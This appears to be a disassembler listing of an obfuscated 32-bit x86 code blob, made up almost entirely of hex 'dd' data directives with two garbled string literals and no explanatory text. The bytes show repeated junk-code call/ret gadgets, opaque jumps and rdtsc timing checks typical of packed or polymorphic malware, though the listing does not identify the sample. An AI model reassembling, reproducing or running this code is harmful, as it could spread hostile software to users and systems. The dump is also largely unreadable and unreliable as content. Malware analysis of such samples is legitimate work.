44810424h, 150424h, 55450000h, 8B80E7C3h, 0E415BD9Dh dd 1800C707h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 670EC350h, 31EC7788h dd 0E41B899Dh, 0A1B58B07h, 8B07E7F8h, 1991BFFBh, 858B514Eh dd 7E40099h, 1A8D0FF5h, 0E8000000h, 0Eh, 32CEE992h, 0FA121DDh dd 803EBE47h, 8501B723h, 7E40085h, 6A06895Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 1FC1C355h, 832AD321h, 858B074Ah, 7E40651h, 89FABF0Fh dd 50960446h, 0BB665651h, 5B5FD1DFh, 5E996h, 26D90000h dd 0FF339C73h, 0E7F89DB5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 400CDABEh dd 0A2445E86h, 0BE95400h, 3F000000h, 0F8748110h, 7C8FB9E6h dd 286887FBh, 0BF109D65h, 5F4A2D15h, 0D7243481h, 0F108266h dd 589h, 3AA4BF00h, 858D7A48h, 7E7F8A5h, 50F88B90h, 6A90D98Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 21CAC353h, 95FF3310h, 7E42D99h, 10E9h, 9D926500h dd 6290A168h, 1DE411ECh, 20060809h, 9D8B6184h, 7E431E9h dd 22B985C7h, 307E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h dd 160424h, 51410000h, 0B92CC4C3h, 4391C9BFh, 83E6B346h dd 0E7F8A5BDh, 840F0007h, 36h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0C0C35141h, 0FB94F673h, 0BC477DBFh dd 0D9BD8B5Bh, 0E907E41Dh, 21h, 1A6DB589h, 305007E4h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0FF88BC0h dd 1782h, 11890F00h, 0E9000000h, 0Ch, 424D3A13h, 0EFCE7C54h dd 10EA88A4h, 9E9h, 0F128DE00h, 9B408D7h, 0BD83FDB1h, 7E422B9h dd 0B3850F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0A26AC356h, 0CB1D1EB6h dd 8B53CE13h, 0BD835BDFh, 7E7F8A5h, 7F840F00h, 6A000003h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 8C5BC351h, 0F3D29A5Dh, 14E97DDEh, 1B000000h dd 0DCF92AE1h, 939133D8h, 27789D62h, 8D7B58BDh, 0FF1AFB11h dd 0E7F8A5B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0A4411B4Fh, 8B66D4EAh dd 4D95FFDAh, 8B07E404h, 0E7F899B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 61755AE6h dd 3B13E632h, 85314996h, 7E41F49h, 106C7h, 6A0001h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A7BD84C3h, 0BB661819h, 669615C7h, 50C2D8BFh, 0D6EF8196h dd 666B35A5h, 5317DF81h, 0F8A5B5FFh, 816607E7h, 0FF364ADBh dd 0E42A0995h, 8BF98B07h, 0E7F899B5h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0E16F68EBh, 0BC2E8C36h, 3771BF66h, 3165858Bh, 89FC07E4h dd 0C486h, 0AD9D8900h, 8B07E405h, 0E41B7195h, 1D890F07h dd 0F000000h, 178Ah, 12E900h, 63DF0000h, 0C193FE1Dh, 574B303Dh dd 4CA8C124h, 43F36D51h, 8904C283h, 6A2050h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0DE3673C3h dd 9A1F944Ah, 0CD4858Dh, 0F78107E8h, 2D74FF29h, 0B88689h dd 0B70F0000h, 6A006ADFh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 89E8C352h, 0E41C1DBDh dd 0A5B5FF07h, 0E907E7F8h, 0Ah, 7BC33F5h, 0B9E1A83Ch, 95FF1480h dd 7E431ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E1C35343h, 6840Fh, 8D090000h, 7E424E1h, 1FF9BD89h dd 0F5007E4h, 0B81h, 6E900h, 47960000h, 0D0F7A54Fh, 31243489h dd 0E431B195h, 14E95307h, 0DD000000h, 4D70DE3Ch, 4D371E90h dd 0A7C15D7Dh, 308C602Dh, 5FC60CC0h, 0F8A5B5FFh, 95FF07E7h dd 7E41B11h, 83F98B66h, 0E40DF9BDh, 840F0007h, 49h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 302644D2h dd 19850Fh, 14E90000h, 7F000000h, 0DD9A16C8h, 5E332F59h dd 0F109F4EFh, 84D245C6h, 9618DC39h, 8FBB6650h, 0F95696E1h dd 0A5B5FF5Bh, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0FFFAC355h, 0E4027D95h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 39B54323h, 7F84B43h, 0F9BD31E8h, 0FF07E41Dh dd 0E7F8A5B5h, 8890F07h, 56000000h, 830Fh, 0FF5B0000h dd 0E4097195h, 6C5ABF07h, 0B5892C81h, 7E42239h, 0A21BD83h dd 0F0207E4h, 5184h, 0A98D0100h, 8B07E405h, 0E41EB585h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 13E839E3h, 0DC000000h, 1021CA87h, 0BA936933h dd 18FB1F3Bh, 0AA6B09BEh, 8D899E3Ah, 7E406A1h, 0C65Bh dd 6319589h, 85C707E4h, 7E42671h, 0 dd 6919D29h, 0B8E907E4h, 6AFFFFF3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D089C356h dd 75F652A5h, 0FE9h, 79803400h, 796A9079h, 77BAD763h, 0B2D9A4AEh dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 858D3AC3h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CCC35242h, 8AA3AF12h, 0BB66505Eh dd 489A14Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 6AB306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 16C35646h, 0EB53CF47h, 3006AAAh dd 0E41FBD9Dh, 0D3858D07h, 6A07E93Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D0F4C352h dd 0C176F426h, 6DBD8B8Ah, 8307E421h, 526005C0h, 615B03B5h dd 0F343BB90h, 90507B8Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0BC35040h, 0C7816677h, 9D8B0FEFh, 7E40EF1h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0F2E6B3C3h, 8BC56DFBh, 0E40D699Dh, 6A006A07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 514EC350h, 399D01F8h, 0FF07E401h, 0E4247195h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8D8D3115h, 7E7D64Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 63C35646h, 6A1DF768h, 0B3DE9184h dd 1B999D89h, 0D1FF07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 62C35747h, 638C019Ah, 26E9B589h, 0BF6607E4h dd 0BD83C4D2h, 7E42015h, 63850F01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 7DA0C355h, 0F9B9D8B2h, 0DA8ADE8Bh, 9D03026Ah, 7E40F7Dh dd 89DE8A50h, 0BD8B2404h, 7E40E69h, 31AD95FFh, 6A07E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8060ABC3h, 0C48036CCh, 29E96199h, 0E800000Dh, 0 aBa?sBEb6AxFNes db ']νέ?ι',7,'ίE‘&6',0Bh,'*δ',7,' αΖη',7,'ι',8,0 dd 489A0000h, 0B964B798h, 0E990E4ADh, 0Ch, 0AF7510D3h dd 0C93A870Ch, 20F2BDB1h, 8B666050h, 74AB8FBh, 9061571Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B3C35141h dd 603A8CE2h, 64ACFBD3h, 35FFh, 64F90000h, 2589h, 8D890000h dd 7E425E9h, 2F95B589h, 85FF07E4h, 7E420B9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C2C35343h, 0EFA82AD6h dd 6195899Eh, 6A07E41Ch, 0E9BD8BFFh, 0FF07E41Fh, 0E41D5DB5h dd 35BD8B07h, 0FF07E400h, 0E4304D95h, 131E907h, 0BD8B0000h dd 7E4185Dh, 8B6600B0h, 0E970E6DAh, 9, 6AAD0FE7h, 10238B74h dd 8971E425h, 0E42A0595h, 0F613C07h, 10683h, 0DE900h, 0BE9B0000h dd 78F4402Ah, 4322EE34h, 9A722AAh, 0E401F59Dh, 0C8B60F07h dd 0E4DB589h, 0BAF907E4h, 6, 6E9h, 0BEF7F300h, 8B3244EEh dd 0E8CF80C1h, 0E904E8C1h, 9, 0A33BEE3Fh, 20698E36h, 0E2F766C1h dd 0C82B5F50h, 890Fh, 0CB30000h, 11E9D18Bh, 52000000h dd 17FEB9C7h, 43F847F9h, 98C174B8h, 92FA3006h, 92E9h, 0DE8B6600h dd 4C50858Bh, 8B664755h, 7C083FAh, 0D880Fh, 89600000h dd 0E401F585h, 0AD4BBB07h, 96145FDh, 0E420E9B5h, 0C08307h dd 2FDDBD89h, 0D03B07E4h, 16830Fh, 9D8B0000h, 7E403B1h dd 1A4DB589h, 48E907E4h, 66000000h, 0DE60F381h, 0FFFF8D8Bh dd 0BE9FFFFh, 0B6000000h, 0EDCC923Ah, 0A3F3071h, 85896A83h dd 7E431CDh, 0F01E183h, 1E84h, 0FFA58300h, 0FEFFFFFFh dd 66FAB70Fh, 0AF82EF81h, 4C509589h, 0BF664755h, 0E92137h dd 8D000000h, 0E8B8FFB5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 33562A1Ch dd 5EE37C57h, 9D8BE41Fh, 7E41F49h, 0BB66F98Bh, 6AA735h dd 0F5FA8B66h, 0E4195FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0BDA5FDC3h, 0B7E7805Eh dd 0EE9h, 2D486500h, 50B09A8Bh, 345F8673h, 0B993F877h dd 1015h, 138A0Fh, 840F0000h, 0Dh, 8E9h, 373F5300h, 8DEAEF34h dd 0DA8B660Ah, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0FBBDC352h, 0DC24C466h dd 0FC188F95h, 0CE9h, 41127600h, 23A6FBFDh, 585CC37Dh dd 6AFC80h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0C1AC3h, 74CD759Eh, 9D8B3904h, 7E41CA9h dd 68F0Fh, 8D310000h, 7E42D95h, 0B8h, 90BF6600h, 0AE8E4h dd 57260000h, 0FAD10159h, 680B3A39h, 165D9D2Bh, 0BA5F07E4h dd 0 dd 0C233ADF5h, 0D003E8D1h, 7504E983h, 499D01F4h, 6607E431h dd 880DF88Bh, 66000000h, 4639CB81h, 1B71958Bh, 6A07E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8B9D5EC3h, 0E422459Dh, 0A18D8B07h, 0F07E42Dh, 68Ah dd 0BD9D8900h, 5007E42Eh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0F3F78158h, 0F6584A4h, 0BD83DFB7h, 7E40611h dd 93840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 897AC351h, 0E42D3595h dd 0B807h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 6E9FF1C3h, 7DED20A5h, 9D8B26BDh dd 7E41A11h, 8618BF66h, 4FE78D8Dh, 6A07E4h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BEB361C3h dd 0E09FA3F2h, 0B5894BD1h, 7E40921h, 9D8BE1FFh, 7E405BDh dd 27019D23h, 0BD8307E4h, 7E422B9h, 7C840F00h, 23000004h dd 0E41E759Dh, 0B9BD8307h, 107E422h, 484840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 19E7AEC3h, 6D9F46D8h, 11E8h, 6C0B1E00h, 0E7C8A63Eh dd 0A6D9C003h, 31F21421h, 820FE047h, 6, 8F7E381h, 665B45E3h dd 0BD83DE8Bh, 7E422B9h, 0F9860F03h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 9C6CC351h, 839E26FAh, 33683F5Eh, 11E8h, 0BDA48200h dd 8C981707h, 65169DC8h, 7C5A27BFh, 895F7994h, 0E40A1995h dd 6A6007h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 14893FC3h, 662D6B5Ah, 0BF0FD98Ch, 4E180F9h dd 3559BD8Bh, 0C90A07E4h, 133840Fh, 8B660000h, 51858BFAh dd 0F07E406h, 0A81h, 8D8B6000h, 7E413A9h, 3361D88Bh, 0E4202985h dd 0FDB50907h, 9007E400h, 0AB11BF66h, 0A5BB6650h, 6A9057h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 59FB0EC3h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0B5B065C3h, 1AC02E28h, 0E85F5028h dd 4, 1F03FFh, 9E850h, 8F550000h, 78D56CD8h, 0E9C2182Fh dd 5, 4A351AAh, 448B5FBEh, 50530424h, 13E952h, 466E0000h dd 3AD65245h, 957C9132h, 42E87F2Fh, 0EB669821h, 0E8310FFFh dd 8, 7A625EFCh, 145F26FDh, 5B585A5Bh, 4489008Bh, 0FF580424h dd 0E42D9995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 785661F1h, 7E4054B6h dd 7D8D890Ah, 8B07E419h, 0E401399Dh, 0A5858907h, 0B307E7F8h dd 20AE937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5E0C38C3h, 9D858B32h, 6A07E7F8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B39C352h, 0E416B59Dh, 0B0BB6607h, 1800C726h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 4D45C350h, 23CF8166h, 0A1B58BC3h dd 0E807E7F8h, 11h, 0A1FC9C2Eh, 0E779765Ch, 55BC293Ah dd 0E7E20447h, 68B0FDDh, 9000000h, 0E41EB995h, 0F3815B07h dd 62BCECC4h, 99858Bh, 9D2907E4h, 7E4249Dh, 0BD8B0689h dd 7E41925h, 651858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 7A1F34C3h, 0A8839088h dd 0BBBD750Eh, 1784ED17h, 6A044689h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AD9BC356h dd 29BBED7Eh, 0BD8B64B3h, 7E40E11h, 0DE996h, 0A3FB0000h dd 938AB676h, 38CF26ADh, 505B9EEEh, 10E9h, 2F7B0200h, 7F303145h dd 85D7E423h, 1D7A8232h, 0EB81964Fh, 36A124D4h, 0D2BCBF66h dd 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F818CC3h, 688h, 2DBD2900h, 6807E41Bh dd 79230CB5h, 34810AB7h, 3C0F4A24h, 52006A79h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 8CB0A6F6h dd 9E7F7560h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B58903C3h, 7E40271h dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 43ADC351h, 897539DFh dd 0E4140D85h, 0FABF0F07h, 2D9995FFh, 0BD8B07E4h, 7E42D45h dd 13E961h, 0DADF0000h, 0BA3046F3h, 0FEA7FCBAh, 133BFEF5h dd 42BE833Eh, 0B985C727h, 307E422h, 52000000h, 0BD835FF8h dd 7E7F8A5h, 2D840F00h, 8B000000h, 41E9F9h, 870F0000h dd 17h, 0CE8h, 0B6DD3900h, 2E1F48A7h, 0E941868Dh, 7107BFD3h dd 0F5B5314h, 38Bh, 0FFB70F00h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0EA86C357h, 84BB666Eh dd 7D9D8BE4h, 8307E416h, 0E422B9BDh, 850F0307h, 3BBh, 0BD48DB81h dd 0BD835730h, 7E7F8A5h, 0A8840F00h, 8B000003h, 0E417D1BDh dd 0A5B5FF07h, 0BF07E7F8h, 75C7EECCh, 44D95FFh, 0B58B07E4h dd 7E7F899h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0C35545h, 840B76EEh, 8BF84F90h, 0E41979BDh, 106C707h dd 6A000100h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh, 2594A8F9h dd 0B9666096h, 8A0FFD64h, 2, 5061F98Bh, 68E0F96h, 8B000000h dd 0E405C59Dh, 0A5B5FF07h, 6A07E7F8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DF00C350h dd 9D8BCC1Ch, 7E423F1h, 2A0995FFh, 0CE907E4h, 79000000h dd 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h, 0E7F899B5h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 7B8484EFh, 9FA49419h, 65858BFBh, 6A07E431h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 9D1C356h, 0B2BF6654h, 6D953134h, 8907E42Ch, 0C486h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 14AFCD3Eh, 958BCC10h, 7E41B71h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h, 81667F2Bh dd 0F1C4FE7h, 689h, 6FC38100h, 830D88A5h, 6A04C2h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 31F4D7C3h, 97FB5B1h, 0E417F19Dh, 20508907h, 860Fh, 858D0000h dd 7E80CD4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 97C35646h, 0C870B353h, 0F7816601h dd 8166B4ECh, 31102EC3h, 0E418B185h, 0B8868907h, 29000000h dd 0E42B5D9Dh, 66006A07h, 0CE2FD781h, 20B1BD8Bh, 0B5FF07E4h dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 1FC35646h, 0B3BE820Eh, 0A3AB398Dh, 18C9BD8Bh, 95FF07E4h dd 7E431ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 1FC35242h, 0CF7E7F15h, 10E95080h, 92000000h, 0A169A1B3h dd 0FCDB5EC7h, 304CD976h, 8931D200h, 9D8B2434h, 7E400B5h dd 0F8A5B5FFh, 0C3BF07E7h, 891B4787h, 0E41C9185h, 1195FF07h dd 8907E41Bh, 0E40F15BDh, 0F9BD8307h, 7E40Dh, 2C840Fh dd 0BF660000h, 8589CC84h, 7E40B35h, 0CE850h, 0E8410000h dd 12FAB024h, 0C2E4F05Dh, 66569713h, 5B3CD8BBh, 2434895Bh dd 9059D8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 77C35646h, 65C2CEB9h, 7D95FFA3h dd 2B07E402h, 0E40B89BDh, 0A5B5FF07h, 0FF07E7F8h, 0E4097195h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 83A1351Dh, 0E40A21BDh, 840F0207h, 5Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 8B66357Fh dd 0B5858BDAh, 6A07E41Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0DC1EC357h, 8A46BB66h dd 2145BD8Bh, 0C607E4h, 89525700h, 0E412BDB5h, 0C75B5F07h dd 0E4267185h, 7, 519D8B00h, 0E907E41Eh, 0FFFFF3B7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B5C35141h, 8B26034Dh dd 852960C1h, 7E41269h, 61D78B66h, 0D85858Dh, 6A07E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 3A43B2C3h, 663937BFh, 0BB669079h, 90508107h, 0BE8h dd 8C9E3900h, 9575616h, 0E68593A2h, 47FCD381h, 6A5B73ADh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0A70A2B80h, 0A206BBACh, 6A72B5h, 8D74EF80h dd 0E94F4D85h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0A3AF12CCh, 0AC205E8Ah dd 0B5290EE4h, 7E41815h, 6A05C083h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 96BDC350h dd 0D1CF358Bh, 0BD8BF698h, 7E40111h, 57525090h, 0E9310F5Fh dd 0Ah, 0C372E781h, 0CC6F5DABh, 585A4538h, 850F5150h, 17h dd 11E8h, 0DAEA4A00h, 0A1EEC590h, 0BA49A49Eh, 7F6A66E9h dd 5B5BA0BDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 539E3633h, 81666AC8h, 8BD559CBh dd 0E4091D9Dh, 619D2907h, 6A07E41Eh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 55D1E296h dd 213FEDBAh, 6A006AF3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0A838C355h, 687135EDh dd 58CD9165h, 5BD88B50h, 247195FFh, 0E96007E4h, 6, 85FC603Dh dd 0B509CAC9h, 7E41815h, 4B8D8D61h, 6A07E7D6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 53BDC350h, 66EEB391h, 0E8BF381h, 6AD1FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2969F9C3h dd 60755381h, 15BD8384h, 107E420h, 4A850Fh, 81660000h dd 6A40D3EBh, 0DE8B6602h, 50525150h, 5A310F52h, 895F5B58h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0AB3802C3h, 6399D01h, 9D2907E4h, 7E41609h dd 31AD95FFh, 0DE8B07E4h, 0DAAE9h, 0E800h, 815D0000h, 0E94F57EDh dd 0F19D8B07h, 0BF07E432h, 2CA11F21h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 85C35747h, 268E3D5Fh, 94C1D82Ah dd 8DF9BF0Fh, 0E7C6E185h, 4895007h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0CFA2ADF7h dd 9D9D0B84h, 8B07E424h, 0E41AC1BDh, 35FF6407h, 0 aDi db 'Ώ]ΕΨ<d%',0 align 4 dd 85FFF98Bh, 7E420B9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0E0C35242h, 896E9A01h, 0E40509BDh, 8D0F5607h dd 6, 21C99D8Bh, 6A5F07E4h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B5FF3A84h dd 7E42BF1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0B4C35343h, 5B32B41Bh, 0D54A7963h, 6FC478BFh, 4D95FF11h dd 0E907E430h, 0FFh, 0CD836BFh, 0BF00B079h, 1C462155h dd 6E970E6h, 0E2000000h, 93166342h, 6671E4B9h, 613CD98Bh dd 0D9830Fh, 0BD8B0000h, 7E42E11h, 0FC8B60Fh, 6BADFBFh dd 0F000000h, 8166FBBFh, 8BBFB9F7h, 518D89C1h, 0C107E433h dd 0BB6604E8h, 0F76671FDh, 6890FE2h, 89000000h, 0E42FED85h dd 8BC82B07h, 0E41B41BDh, 80D18B07h, 90E9DCCBh, 0B000000h dd 0E416A19Dh, 0AE907h, 0FE500000h, 923F0868h, 8E06BEDFh dd 4E49858Bh, 0BD8B4400h, 7E42229h, 8007C083h, 0C083EAEBh dd 0BE800h, 31A90000h, 97A9942Ch, 0BE4570Bh, 5BF88B62h dd 830FD03Bh, 0Dh, 1CBDBD8Bh, 40E907E4h, 0B7000000h, 0FF8D8B38h dd 89FFFFFFh, 0E42B6195h, 1E18307h, 29840Fh, 0BB660000h dd 0A583F098h, 0FFFFFFFFh, 0BD9D8BFEh, 0BF07E40Eh, 1A0E86DCh dd 4E499589h, 8A0F4400h, 2, 0E9D98Bh, 8D000000h, 0E8C914B5h dd 3D9D0307h, 0E807E415h, 12h, 7A06A29Ah, 0D9C838D9h, 0A076B55Eh dd 8CE38AA6h, 5FF596A5h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 312D3EC3h, 89882568h dd 0E4034595h, 0DF816607h, 95FFB65Eh, 7E40E41h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 54C35040h, 0B8DA0248h dd 0BD8BBD85h, 7E42559h, 1219D8Bh, 0C3B907E4h, 6A000010h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0F74DC351h, 4D958AE8h, 78D84B63h, 9529DE8Ah dd 7E42E05h, 0BBFCE183h, 4B97C2A2h, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0DBD8BFDh dd 0F07E415h, 0B8FFB7h, 81000000h, 0C8514CD3h, 0BA32h dd 33AD0000h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E9B87BC3h dd 14h, 61455F3h, 740D4774h, 547E02C4h, 371B55C8h, 0C470DC0h dd 66D8B70Fh, 0D4A62BBh, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 66C35141h, 26919CD9h, 17D8589h dd 816607E4h, 8B7BC6F7h, 0E41B7195h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0AD2C18A9h dd 0CEF6DDF9h, 0FDF8B66h, 688h, 45EB8100h, 8B2894E1h, 0E42DA18Dh dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 34505B49h, 320B9406h, 8B5039D8h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6679B260h, 6A61D18Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6192C353h, 611BD83h, 0F0007E4h, 7884h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0BE9A9h, 0A1950000h, 0FECFBC3Bh, 16C14A6Dh, 0B8B1h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 6AFE42C3h, 0E78D8D67h, 6A07E44Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 4E8CC350h, 0B7E1FF08h, 0B9BD838Ah, 7E422h, 3E4840Fh dd 0CB800000h, 0B9BD8346h, 107E422h, 3EF840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 9CA592C3h, 2349CFBDh, 0B9BD834Eh, 307E422h, 389860Fh dd 0DD8A0000h, 299D8B60h, 6607E421h, 6AD98Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0EFFDCDC3h dd 